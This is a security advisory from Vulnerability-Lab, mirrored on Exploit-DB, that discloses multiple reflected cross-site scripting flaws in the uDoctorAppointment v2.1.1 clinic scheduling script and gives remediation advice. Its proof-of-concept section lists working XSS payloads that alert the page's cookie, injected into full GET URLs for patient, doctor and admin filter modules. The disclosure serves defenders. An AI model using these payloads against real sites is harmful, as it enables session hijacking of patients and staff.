uDoctorAppointment v2.1.1 – ‘Multiple’ Cross Site Scripting (XSS)

  • 作者: Vulnerability-Lab
    日期: 2022-01-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50676/
  • # Exploit Title: uDoctorAppointment v2.1.1 - 'Multiple' Cross Site Scripting (XSS)
    # Exploit Author: Vulnerability-Lab
    # Date: 15/12/2021
    
    Document Title:
    ===============
    uDoctorAppointment v2.1.1 - Multiple XSS Vulnerabilities
    
    
    References (Source):
    ====================
    https://www.vulnerability-lab.com/get_content.php?id=2288
    
    
    Release Date:
    =============
    2021-12-15
    
    
    Vulnerability Laboratory ID (VL-ID):
    ====================================
    2288
    
    
    Common Vulnerability Scoring System:
    ====================================
    5
    
    
    Vulnerability Class:
    ====================
    Cross Site Scripting - Non Persistent
    
    
    Current Estimated Price:
    ========================
    500€ - 1.000€
    
    
    Product & Service Introduction:
    ===============================
    Clinic management, doctor or therapist online medical appointment scheduling system for the management of health care.
    uDoctorAppointment script allows doctors to register and appropriate membership plan with different features.
    Patients can view doctor profiles before booking appointments. The site administrator or doctor may create and
    manage advanced schedules, create working time slots for each day of the week, define time off etc.
    
    (Copy of the Homepage:https://www.apphp.com/codemarket/items/1/udoctorappointment-php-script )
    
    
    Abstract Advisory Information:
    ==============================
    The vulnerability laboratory core research team discovered multiple non-persistent cross site web vulnerabilities in the uDoctorAppointment script web-application.
    
    
    Affected Product(s):
    ====================
    ApPHP
    Product: uDoctorAppointment v2.1.1 - Health Care Script (PHP) (Web-Application)
    Product: ApPHP MVC Framework v1.1.5 (Framework)
    
    
    Vulnerability Disclosure Timeline:
    ==================================
    2021-09-01: Researcher Notification & Coordination (Security Researcher)
    2021-09-02: Vendor Notification (Security Department)
    2021-09-10: Vendor Response/Feedback (Security Department)
    2021-**-**: Vendor Fix/Patch (Service Developer Team)
    2021-**-**: Security Acknowledgements (Security Department)
    2021-12-15: Public Disclosure (Vulnerability Laboratory)
    
    
    Discovery Status:
    =================
    Published
    
    
    Exploitation Technique:
    =======================
    Remote
    
    
    Severity Level:
    ===============
    Medium
    
    
    Authentication Type:
    ====================
    Pre Auth (No Privileges or Session)
    
    
    User Interaction:
    =================
    Low User Interaction
    
    
    Disclosure Type:
    ================
    Responsible Disclosure
    
    
    Technical Details & Description:
    ================================
    Multiple non-persistent cross site vulnerabilities has been discovered in the official uDoctorAppointment v2.1.1 script web-application.
    The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser
    to web-application requests from the client-side.
    
    The cross site security web vulnerabilities are located in the `created_at`, `created_date` and `sent_at` parameters of the `filter` web module.
    The injection point is located in the parameters and the execution occurs in the filter module. The request method to inject the malicious script
    code is GET and the attack vector of the vulnerability is non-persistent on client-side.
    
    Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects
    to malicious source and non-persistent manipulation of affected application modules.
    
    Request Method(s):
    [+] GET
    
    Vulnerable Module(s):
    [+] ./doctorReviews/doctorReviews
    [+] ./orders/orders
    [+] /mailingLog/manage
    [+] /orders/doctorsManage
    [+] /news/manage
    [+] /newsSubscribers/manage
    [+] /doctorReviews/manage/status/approved
    [+] /appointments/manage
    
    Vulnerable Parameter(s):
    [+] created_at
    [+] created_date
    [+] sent_at
    [+] appointment_date
    
    Affected Module(s):
    [+] Filter
    
    
    Proof of Concept (PoC):
    =======================
    The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction.
    For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.
    
    
    Exploitation: Payload
    ">%20<img%20src="evil.source"%20onload=alert(document.domain)></img>
    
    
    Role: Patient (Frontend - created_at)
    https://doctor-appointment.localhost:8080/doctorReviews/doctorReviews?patient_name=test&created_at=2021-09-08&but_filter=Filter
    -
    https://doctor-appointment.localhost:8080/doctorReviews/doctorReviews?patient_name=test&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter
    
    
    Role: Doctor (Frontend - created_date)
    https://doctor-appointment.localhost:8080/orders/orders?order_number=test&created_date=2021-09-08&status=2&but_filter=Filter
    -
    https://doctor-appointment.localhost:8080/orders/orders?order_number=test&created_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&status=2&but_filter=Filter
    
    
    Role: Admin (Backend -
    https://doctor-appointment.localhost:8080/mailingLog/manage?email_subject=test1&email_content=test2&email_from=test3&email_to=test4&sent_at=2021-09-01&status=0&but_filter=Filter
    https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=2021-09-01&doctor_id=1&status=1&but_filter=Filter
    https://doctor-appointment.localhost:8080/news/manage?news_header=test1&created_at=2021-09-01&but_filter=Filter
    https://doctor-appointment.localhost:8080/newsSubscribers/manage?first_name=test1&last_name=test2&email=test%40aol.com&created_at=2021-09-01&but_filter=Filter
    https://doctor-appointment.localhost:8080/doctorReviews/manage/status/approved?doctor_first_name%2Cdoctor_last_name=test1&patient_name=test2&created_at=2021-09-01&but_filter=Filter
    https://doctor-appointment.localhost:8080/appointments/manage?appointment_number=test1&patient_first_name%2Cpatient_last_name=test2&doctor_first_name%2Cdoctor_last_name=test3&appointment_date=2021-09-01&but_filter=Filter
    https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=2021-09-01&doctor_id=1&status=1&but_filter=Filter
    -
    https://doctor-appointment.localhost:8080/mailingLog/manage?email_subject=test1&email_content=test2&email_from=test3&email_to=test4&sent_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&status=0&but_filter=Filter
    https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&doctor_id=1&status=1&but_filter=Filter
    https://doctor-appointment.localhost:8080/news/manage?news_header=test1&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter
    https://doctor-appointment.localhost:8080/newsSubscribers/manage?first_name=test1&last_name=test2&email=test%40aol.com&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter
    https://doctor-appointment.localhost:8080/doctorReviews/manage/status/approved?doctor_first_name%2Cdoctor_last_name=test1&patient_name=test2&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter
    https://doctor-appointment.localhost:8080/appointments/manage?appointment_number=test1&patient_first_name%2Cpatient_last_name=test2&doctor_first_name%2Cdoctor_last_name=test3&appointment_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter
    https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&doctor_id=1&status=1&but_filter=Filter
    
    
    Vulnerable Source: ./mailingLog
    <div class="filtering-wrapper">
    <form id="frmFilterMailingLog" action="mailingLog/manage" method="get">
    Subject: <input id="email_subject" style="width:140px;" maxlength="125" type="text" value="a" name="email_subject">
    Content: <input id="email_content" style="width:140px;" maxlength="125" type="text" value="b" name="email_content">
    From: <input id="email_from" style="width:130px;" maxlength="125" type="text" value="c" name="email_from">
    To: <input id="email_to" style="width:130px;" maxlength="125" type="text" value="d" name="email_to">
    Date Sent: <input id="sent_at" maxlength="255" style="width:80px;"
    type="text" value=">" <img="" src="https://www.exploit-db.com/exploits/50676/evil.source" onload="alert(document.cookie)" [MALICIOUS EXECUTABLE SCRIPT CODE PAYLOAD!] class="hasDatepicker">
    <img class="ui-datepicker-trigger" src="https://www.exploit-db.com/exploits/50676/assets/vendors/jquery/images/calendar.png" alt="..." title="...">
    " name="sent_at" />Status: <select id="status" style="width: 90px; padding: 10px; display: none;" name="status" class="chosen-select-filter">
    <option value="" selected="selected">--</option>
    <option value="0">Not Sent</option>
    <option value="1">Sent</option>
    </select><div class="chosen-container chosen-container-single chosen-container-single-nosearch" style="width: 90px;" title="" id="status_chosen">
    <a class="chosen-single" tabindex="-1"><span>--</span><div><b></b></div></a><div class="chosen-drop"><div class="chosen-search">
    <input type="text" autocomplete="off" readonly="" maxlength="255"></div><ul class="chosen-results"></ul></div></div>&nbsp;
    <div class="buttons-wrapper">
    <input name="" class="button white" onclick="jQuery(location).attr('href','https://doctor-appointment.localhost:8080/mailingLog/manage');" type="button" value="Cancel">
    <input name="but_filter" type="submit" value="Filter">
    </div></form></div>
    
    
    --- PoC Session Logs (GET) ---
    https://doctor-appointment.localhost:8080/mailingLog/manage?email_subject=a&email_content=b&email_from=c&email_to=d&sent_at=>"<img+src%3D"evil.source"+onload%3Dalert(document.cookie)>++&status=&but_filter=Filter
    Host: doctor-appointment.localhost:8080
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Connection: keep-alive
    Cookie: isOpened=menu-04; apphp_9tmmw0krko=g2234alc8h8ks3ms2nsbp4tsa9
    -
    GET: HTTP/1.1 200 OK
    Server: Apache
    Content-Length: 2914
    Connection: Keep-Alive
    Content-Type: text/html; charset=utf-8
    
    
    Reference(s):
    https://doctor-appointment.localhost:8080/
    https://doctor-appointment.localhost:8080/mailingLog/
    https://doctor-appointment.localhost:8080/news/manage
    https://doctor-appointment.localhost:8080/order/manage
    https://doctor-appointment.localhost:8080/mailingLog/manage
    https://doctor-appointment.localhost:8080/appointments/manage
    https://doctor-appointment.localhost:8080/orders/doctorsManage
    https://doctor-appointment.localhost:8080/newsSubscribers/manage
    
    
    Solution - Fix & Patch:
    =======================
    The vulnerability can be resolved by a filter or secure encode of the vulnerable created_date, appointment_date, sent_at and create_at parameters.
    Disallow the usage of special chars in the affected parameters on get method requests.
    Sansitize the vulnerable output location to resolve the point of execution in the filter module.
    
    
    Credits & Authors:
    ==================
    Vulnerability-Lab [RESEARCH TEAM] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
    
    
    Disclaimer & Information:
    =========================
    The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
    either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
    or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
    or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
    not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
    We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
    
    Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
    Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
    Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
    Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
    Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php
    
    Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
    Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
    media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
    information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
    edit our material contact (admin@ or research@) to get a ask permission.
    
    Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™
    
    
    
    --
    VULNERABILITY LABORATORY (VULNERABILITY LAB)
    RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE